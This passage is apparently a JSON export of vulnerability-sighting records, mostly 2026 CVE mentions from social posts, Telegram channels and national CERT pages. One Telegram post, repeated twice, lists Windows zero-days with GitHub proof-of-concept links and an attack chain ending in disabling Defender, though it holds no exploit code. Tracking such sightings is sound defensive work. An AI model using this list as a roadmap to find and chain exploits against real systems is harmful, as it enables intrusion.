startDecoder Timeout UAF \u2014 iOS/macOS kernel vulnerability leading to deferred panic (A19 Pro, iOS 26.3 RC)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-28T00:00:11.053426Z"}, {"uuid": "c03eb40d-4948-4a31-8627-388860ac4c13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20153", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mqrc566sg32e", "content": "\ud83d\udd17 CVE : CVE-2026-20150, CVE-2026-20153, CVE-2026-20156, CVE-2026-20157, CVE-2026-20158, CVE-2026-20187", "creation_timestamp": "2026-07-16T13:00:30.003904Z"}, {"uuid": "68c8231a-1ed1-4531-8966-73d7ff478d02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20156", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mqrc566sg32e", "content": "\ud83d\udd17 CVE : CVE-2026-20150, CVE-2026-20153, CVE-2026-20156, CVE-2026-20157, CVE-2026-20158, CVE-2026-20187", "creation_timestamp": "2026-07-16T13:00:30.044653Z"}, {"uuid": "dfef1f4b-cccf-40a4-80ab-6273f8e6cf68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20157", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mqrc566sg32e", "content": "\ud83d\udd17 CVE : CVE-2026-20150, CVE-2026-20153, CVE-2026-20156, CVE-2026-20157, CVE-2026-20158, CVE-2026-20187", "creation_timestamp": "2026-07-16T13:00:30.088786Z"}, {"uuid": "9328ff22-2b73-4412-bc5a-9860e64b8ef1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20158", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mqrc566sg32e", "content": "\ud83d\udd17 CVE : CVE-2026-20150, CVE-2026-20153, CVE-2026-20156, CVE-2026-20157, CVE-2026-20158, CVE-2026-20187", "creation_timestamp": "2026-07-16T13:00:30.144130Z"}, {"uuid": "accfebca-d26d-4b93-b945-597023c93cad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20187", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mqrc566sg32e", "content": "\ud83d\udd17 CVE : CVE-2026-20150, CVE-2026-20153, CVE-2026-20156, CVE-2026-20157, CVE-2026-20158, CVE-2026-20187", "creation_timestamp": "2026-07-16T13:00:30.180104Z"}, {"uuid": "663834a3-fcd1-4ba3-b447-9ff37cc4af83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20150", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mqrc566sg32e", "content": "\ud83d\udd17 CVE : CVE-2026-20150, CVE-2026-20153, CVE-2026-20156, CVE-2026-20157, CVE-2026-20158, CVE-2026-20187", "creation_timestamp": "2026-07-16T13:00:29.956307Z"}, {"uuid": "0d40561e-5406-4ae3-b326-17b292e6b451", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20181", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqrctu2sws2y", "content": "Cisco\u306f\u3001\u653b\u6483\u8005\u304c\u30eb\u30fc\u30c8\u30a2\u30af\u30bb\u30b9\u6a29\u3092\u53d6\u5f97\u3067\u304d\u308b\u91cd\u5927\u306aISE\u306e\u8106\u5f31\u6027\u3092\u4fee\u6b63\u3057\u307e\u3057\u305f\u3002\n\nCisco\u306f\u3001Identity Services Engine\uff08ISE\uff09\u304a\u3088\u3073ISE-PIC\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u3001CVE-2026-20181\uff08CVSS\u30b9\u30b3\u30a29.1\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u91cd\u5927\u306a\u30b3\u30de\u30f3\u30c9\u5b9f\u884c\u306e\u8106\u5f31\u6027\u306b\u5bfe\u51e6\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u8106\u5f31\u6027\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u304c\u63d0\u4f9b\u3059\u308b\u5165\u529b\u306e\u691c\u8a3c\u304c\u4e0d\u9069\u5207\u3067\u3042\u308b\u3053\u3068\u306b\u8d77\u56e0\u3057\u3001\u7ba1\u7406\u8005\u6a29\u9650\u3092\u6301\u3064\u8a8d\u8a3c\u6e08\u307f\u653b\u6483\u8005\u304c\u7d30\u5de5\u3055\u308c\u305fHTTP\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u9001\u4fe1\u3057\u3001\u57fa\u76e4\u3068\u306a\u308b\u30aa\u30da\u30ec\u30fc\u30c6\u30a3\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0\u4e0a\u3067\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3067\u304d\u308b\u3068\u3044\u3046\u3082\u306e\u3067\u3059\u3002\u3053\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3055\u308c\u308b\u3068\u3001\u6a29\u9650\u6607\u683c\u3084\u5b8c\u5168\u306aroot\u30a2\u30af\u30bb\u30b9\u306b\u3064\u306a\u304c\u308b...", "creation_timestamp": "2026-07-16T13:13:13.772728Z"}, {"uuid": "71c21884-ed02-40b1-854f-2605f0bbe209", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqrd67jups2y", "content": "CISA Adds One Known Exploited Vulnerability to Catalog\nRelease Date June 18, 2026\n\nCVE-2026-20253 Splunk Enterprise Missing Authentication for Critical Function Vulnerability", "creation_timestamp": "2026-07-16T13:19:00.895983Z"}, {"uuid": "5ef5ccbc-b0f9-4b5b-9dec-6c9da8339bf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "exploited", "source": "https://t.me/CyberSecurityExploit/17200", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udea8 Windows Zero-Day & Related CVEs (PoC Included)\n\n\ud83e\udde8 1. BlueHammer (CVE-2026-33825)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: User \u2192 SYSTEM privileges\n\u2022 Features:\n   \u2022 Exploits Windows Defender update mechanism\n   \u2022 TOCTOU + Path Confusion\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Used in real-world attacks\n   \u2022 Patched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/BlueHammer\n\n\ud83d\udd25 2. RedSun (Windows Defender Zero-Day)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: SYSTEM privileges\n\u2022 Features:\n   \u2022 Reparse Point + file overwrite\n   \u2022 Abuses Defender logic\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Actively exploited\n   \u2022 Unpatched in some environments\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/RedSun\n\n\u2620\ufe0f 3. UnDefend\n\u2022 Type: Defender Disable / DoS\n\u2022 Impact:\n  \u2022 Blocks Defender updates\n  \u2022 Disables security protections\n\u2022 Features:\n  \u2022 Works with standard user privileges\n  \u2022 Critical in attack chains\n\u2022 Status:\n  \u2022 PoC publicly available\n  \u2022 Partially unpatched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/UnDefend\n\n\ud83d\udca5 4. CVE-2026-20841 (Windows Notepad RCE)\n\u2022 Type: Remote Code Execution (RCE)\n\u2022 Condition:\n   \u2022 Opening a malicious Markdown file\n\u2022 Features:\n   \u2022 Improper input validation\n   \u2022 Multiple PoCs available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/404godd/CVE-2026-20841-PoC\nhttps://github.com/dogukankurnaz/CVE-2026-20841-PoC\nhttps://github.com/hackfaiz/CVE-2026-20841-PoC\nhttps://github.com/tangent65536/CVE-2026-20841\nhttps://github.com/SecureWithUmer/CVE-2026-20841\nhttps://github.com/EleniChristopoulou/PoC-CVE-2026-20841\n\n\ud83d\udd0d 5. CVE-2026-20805 (DWM Info Leak)\n\u2022 Type: Information Disclosure\n\u2022 Features:\n   \u2022 Used in exploit chains\n   \u2022 Provides leak primitives\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/fevar54/CVE-2026-20805-POC\nhttps://github.com/Uzair-Baig0900/CVE-2026-20805-PoC\n\n\ud83d\udca3 6. CVE-2026-29923 (BYOVD LPE)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Features:\n   \u2022 BYOVD (Bring Your Own Vulnerable Driver)\n   \u2022 IOCTL-based SYSTEM privilege escalation\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/athenasec16/CVE-2026-29923\nhttps://github.com/Smarttfoxx/CVE-2026-29923\n\n\ud83d\udda5 7. CVE-2026-23668 (Windows Graphics)\n\u2022 Type: LPE / RCE\n\u2022 Features:\n   \u2022 Race condition vulnerability\n\u2022 Status:\n   \u2022 No public GitHub PoC (as of now)\n\n\u26a0\ufe0f Example Attack Chain\nInitial Access (Notepad / MSHTML)\n        \u2193\nInfo Leak (DWM - CVE-2026-20805)\n        \u2193\nPrivilege Escalation (RedSun / BlueHammer / BYOVD)\n        \u2193\nDefender Disable (UnDefend)\n\n\ud83d\udccc Key Takeaways\n\u2714\ufe0f Confirmed GitHub PoCs\n\u2022 BlueHammer\n\u2022 RedSun\n\u2022 UnDefend\n\u2022 CVE-2026-20841\n\u2022 CVE-2026-20805\n\u2022 CVE-2026-29923\n\u2714\ufe0f Full attack chain possible\n\u2192 Initial access \u2192 Info leak \u2192 Privilege escalation \u2192 Defense bypass\n\u2714\ufe0f Current risk level\n\ud83d\udc49 Defender-related vulnerabilities included\n\ud83d\udc49 Some remain unpatched\n\ud83d\udc49 Practical real-world exploitation possible\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:12.009771Z"}, {"uuid": "03e64511-e95c-47c2-8c0e-9cc34cc664d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "exploited", "source": "https://t.me/CyberSecurityExploit/17200", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udea8 Windows Zero-Day & Related CVEs (PoC Included)\n\n\ud83e\udde8 1. BlueHammer (CVE-2026-33825)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: User \u2192 SYSTEM privileges\n\u2022 Features:\n   \u2022 Exploits Windows Defender update mechanism\n   \u2022 TOCTOU + Path Confusion\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Used in real-world attacks\n   \u2022 Patched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/BlueHammer\n\n\ud83d\udd25 2. RedSun (Windows Defender Zero-Day)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: SYSTEM privileges\n\u2022 Features:\n   \u2022 Reparse Point + file overwrite\n   \u2022 Abuses Defender logic\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Actively exploited\n   \u2022 Unpatched in some environments\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/RedSun\n\n\u2620\ufe0f 3. UnDefend\n\u2022 Type: Defender Disable / DoS\n\u2022 Impact:\n  \u2022 Blocks Defender updates\n  \u2022 Disables security protections\n\u2022 Features:\n  \u2022 Works with standard user privileges\n  \u2022 Critical in attack chains\n\u2022 Status:\n  \u2022 PoC publicly available\n  \u2022 Partially unpatched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/UnDefend\n\n\ud83d\udca5 4. CVE-2026-20841 (Windows Notepad RCE)\n\u2022 Type: Remote Code Execution (RCE)\n\u2022 Condition:\n   \u2022 Opening a malicious Markdown file\n\u2022 Features:\n   \u2022 Improper input validation\n   \u2022 Multiple PoCs available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/404godd/CVE-2026-20841-PoC\nhttps://github.com/dogukankurnaz/CVE-2026-20841-PoC\nhttps://github.com/hackfaiz/CVE-2026-20841-PoC\nhttps://github.com/tangent65536/CVE-2026-20841\nhttps://github.com/SecureWithUmer/CVE-2026-20841\nhttps://github.com/EleniChristopoulou/PoC-CVE-2026-20841\n\n\ud83d\udd0d 5. CVE-2026-20805 (DWM Info Leak)\n\u2022 Type: Information Disclosure\n\u2022 Features:\n   \u2022 Used in exploit chains\n   \u2022 Provides leak primitives\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/fevar54/CVE-2026-20805-POC\nhttps://github.com/Uzair-Baig0900/CVE-2026-20805-PoC\n\n\ud83d\udca3 6. CVE-2026-29923 (BYOVD LPE)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Features:\n   \u2022 BYOVD (Bring Your Own Vulnerable Driver)\n   \u2022 IOCTL-based SYSTEM privilege escalation\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/athenasec16/CVE-2026-29923\nhttps://github.com/Smarttfoxx/CVE-2026-29923\n\n\ud83d\udda5 7. CVE-2026-23668 (Windows Graphics)\n\u2022 Type: LPE / RCE\n\u2022 Features:\n   \u2022 Race condition vulnerability\n\u2022 Status:\n   \u2022 No public GitHub PoC (as of now)\n\n\u26a0\ufe0f Example Attack Chain\nInitial Access (Notepad / MSHTML)\n        \u2193\nInfo Leak (DWM - CVE-2026-20805)\n        \u2193\nPrivilege Escalation (RedSun / BlueHammer / BYOVD)\n        \u2193\nDefender Disable (UnDefend)\n\n\ud83d\udccc Key Takeaways\n\u2714\ufe0f Confirmed GitHub PoCs\n\u2022 BlueHammer\n\u2022 RedSun\n\u2022 UnDefend\n\u2022 CVE-2026-20841\n\u2022 CVE-2026-20805\n\u2022 CVE-2026-29923\n\u2714\ufe0f Full attack chain possible\n\u2192 Initial access \u2192 Info leak \u2192 Privilege escalation \u2192 Defense bypass\n\u2714\ufe0f Current risk level\n\ud83d\udc49 Defender-related vulnerabilities included\n\ud83d\udc49 Some remain unpatched\n\ud83d\udc49 Practical real-world exploitation possible\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:12.060873Z"}, {"uuid": "34bbcb02-29df-4226-b789-89b1e2bec74f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20317", "type": "seen", "source": "https://www.cert.dk/news/2026-08-24/Cisco-lapper-seks-kritiske-saarbaarheder-med-maksimal-CVSS-score", "content": "", "creation_timestamp": "2026-08-24T16:45:22.288791Z"}, {"uuid": "010d3138-44df-47df-a456-05023e289748", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20030", "type": "seen", "source": "https://www.cert.dk/news/2026-08-24/Cisco-lapper-seks-kritiske-saarbaarheder-med-maksimal-CVSS-score", "content": "", "creation_timestamp": "2026-08-24T16:45:09.906541Z"}, {"uuid": "87368cfe-836b-480f-891e-4276adf58126", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20357", "type": "seen", "source": "https://www.cert.dk/news/2026-08-24/Cisco-lapper-seks-kritiske-saarbaarheder-med-maksimal-CVSS-score", "content": "", "creation_timestamp": "2026-08-24T16:45:12.207522Z"}, {"uuid": "25287308-d10c-4ef5-8491-2bf8c0d4ca58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20358", "type": "seen", "source": "https://www.cert.dk/news/2026-08-24/Cisco-lapper-seks-kritiske-saarbaarheder-med-maksimal-CVSS-score", "content": "", "creation_timestamp": "2026-08-24T16:45:15.446286Z"}, {"uuid": "bf7ce998-08ca-49bf-bab5-1a2a3a69a6b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20359", "type": "seen", "source": "https://www.cert.dk/news/2026-08-24/Cisco-lapper-seks-kritiske-saarbaarheder-med-maksimal-CVSS-score", "content": "", "creation_timestamp": "2026-08-24T16:45:17.730760Z"}, {"uuid": "ed30384e-f43e-4131-9122-35f4e958b86c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20231", "type": "seen", "source": "https://www.cert.dk/news/2026-08-24/Cisco-lapper-seks-kritiske-saarbaarheder-med-maksimal-CVSS-score", "content": "", "creation_timestamp": "2026-08-24T16:45:24.552777Z"}, {"uuid": "4cd19537-7b63-41ee-a0b7-fd4e3a50475c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20318", "type": "seen", "source": "https://www.cert.dk/news/2026-08-24/Cisco-lapper-seks-kritiske-saarbaarheder-med-maksimal-CVSS-score", "content": "", "creation_timestamp": "2026-08-24T16:45:26.815783Z"}, {"uuid": "6a19ca83-59d3-4fb4-aab0-f955fabc5e70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20315", "type": "seen", "source": "https://www.cert.dk/news/2026-08-24/Cisco-lapper-seks-kritiske-saarbaarheder-med-maksimal-CVSS-score", "content": "", "creation_timestamp": "2026-08-24T16:45:20.009550Z"}, {"uuid": "e2909991-dae4-4d1c-b2bb-c8c26676161c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/354", "content": "CVE-2026-20131\n\nA vulnerability in the web-based management interface of Cisco Secure Firewall Management Center (FMC) Software could allow an unauthenticated, remote attacker to execute arbitrary Java code as root on an affected device.\n This vulnerability is due to insecure deserialization of a user-supplied Java byte stream. An attacker could exploit this vulnerability by sending a crafted serialized Java object to the web-based management interface of an affected device. A successful exploit could allow the attacker to execute arbitrary code on the device and elevate privileges to root.\n Note: If the FMC management interface does not have public internet access, the attack surface that is associated with this vulnerability is reduced.\n\nGitHub Link:\nhttps://github.com/Hassan-Pouladi/Cisco-FMC-honeypot", "creation_timestamp": "2026-08-28T00:00:30.547774Z"}, {"uuid": "0b9e5ff7-9a93-4a21-9c2b-f20b44c16d15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20319", "type": "seen", "source": "https://www.cert.dk/news/2026-08-24/Cisco-lapper-seks-kritiske-saarbaarheder-med-maksimal-CVSS-score", "content": "", "creation_timestamp": "2026-08-24T16:45:29.113522Z"}, {"uuid": "a47fe87b-d1b1-4552-8c07-1db83dc7f453", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20150", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mqrfwemd322z", "content": "CVE-2026-20150 - High severity improper access control in Cisco RoomOS. CVSS 8.8. No patch yet. Review access controls now. #CVE #Cisco #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-20150/", "creation_timestamp": "2026-07-16T14:08:16.698662Z"}, {"uuid": "ab13502e-bc38-423d-848a-e6086bba9917", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20150", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/116930046346559393", "content": "CVE-2026-20150 - High severity improper access control in Cisco RoomOS. CVSS 8.8. No patch yet. Review access controls now. #CVE #Cisco #infosec\nhttps://www.valtersit.com/cve/CVE-2026-20150/", "creation_timestamp": "2026-07-16T14:08:33.540086Z"}, {"uuid": "cc7794f6-6fc0-441c-96ea-a37c5853769e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://t.me/GithubRedTeam/93701", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20896\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a XaocZenon\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-16 13:59:08\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nthis is a modified POC of rz1027 for CVE-2026-20896\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-16T15:00:03.657183Z"}, {"uuid": "9705ff56-feff-4a12-99bf-23dd9d5969bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20150", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-28", "content": "", "creation_timestamp": "2026-07-16T16:45:02.488370Z"}, {"uuid": "a0e3db18-ee2e-41d8-a5ed-7991756bd7b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20158", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-28", "content": "", "creation_timestamp": "2026-07-16T16:45:04.679155Z"}, {"uuid": "707ca6a9-745e-4311-93c5-b341262f4d1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20156", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-28", "content": "", "creation_timestamp": "2026-07-16T16:45:06.842808Z"}, {"uuid": "f1becd71-cccc-4202-acee-bb4208d074af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20157", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-28", "content": "", "creation_timestamp": "2026-07-16T16:45:09.031028Z"}, {"uuid": "7e76b620-c131-420e-8b27-865ed5c4871b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20187", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-28", "content": "", "creation_timestamp": "2026-07-16T16:45:11.190378Z"}, {"uuid": "48c2fa4f-0279-40d6-9f48-69934dcc4722", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20153", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-28", "content": "", "creation_timestamp": "2026-07-16T16:45:13.361675Z"}, {"uuid": "1ec77845-ad7b-489d-a0fe-80f9d3776a23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2005", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/99048", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-2005\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a open-flaw\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a JavaScript\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-21 09:34:24\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-22T19:00:04.052482Z"}, {"uuid": "d6f74d72-a963-4ccc-8615-a906f522e4ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20296", "type": "seen", "source": "https://t.me/true_secator/8417", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. Zoom \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0435\u043c \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u043e\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0435 \u0438 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0442\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u041f\u041e \u0434\u043b\u044f Windows, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043b\u0438\u0446\u043e\u043c \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439.\n\nCVE-2026-53412 (CVSS 9,8) \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Zoom Workplace \u0434\u043b\u044f Windows \u0432\u0435\u0440\u0441\u0438\u0439 \u0434\u043e 7.0.0, Windows VDI Client \u0432\u0435\u0440\u0441\u0438\u0439 \u0434\u043e 7.0.10, 6.6.15 \u0438 6.5.18, \u0430 \u0442\u0430\u043a\u0436\u0435 Meeting SDK \u0434\u043b\u044f Windows 